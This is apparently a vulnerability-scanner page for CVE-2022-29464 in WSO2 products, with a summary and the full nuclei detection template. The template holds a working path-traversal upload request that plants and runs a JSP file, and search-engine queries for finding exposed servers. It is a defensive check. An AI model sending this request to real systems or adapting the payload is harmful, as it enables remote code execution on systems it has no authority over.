WSO2 Management - Arbitrary File Upload & Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-04-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

Impact

Successful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system.

Fix

Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability.

How to confirm it

Send: POST /fileupload/toolsAny ; GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp
Positive when: contains(body_2, 'WSO2-RCE-CVE-2022-29464')

Run it with nuclei: nuclei -id CVE-2022-29464 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-29464

info:
  name: WSO2 Management - Arbitrary File Upload & Remote Code Execution
  author: luci,dhiyaneshDk
  severity: critical
  description: |
    Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability.
  reference:
    - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738
    - https://github.com/hakivvi/CVE-2022-29464
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29464
    - http://www.openwall.com/lists/oss-security/2022/04/22/7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29464
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev,vkev,vuln

http:
  - raw:
      - |
        POST /fileupload/toolsAny HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
        Content-Length: 348

        -----------------------------250033711231076532771336998311
        Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp"
        Content-Type: application/octet-stream

        <% out.print("WSO2-RCE-CVE-2022-29464"); %>
        -----------------------------250033711231076532771336998311--
      - |
        GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')"

References

Use this check only on systems you are authorised to test. Where the data comes from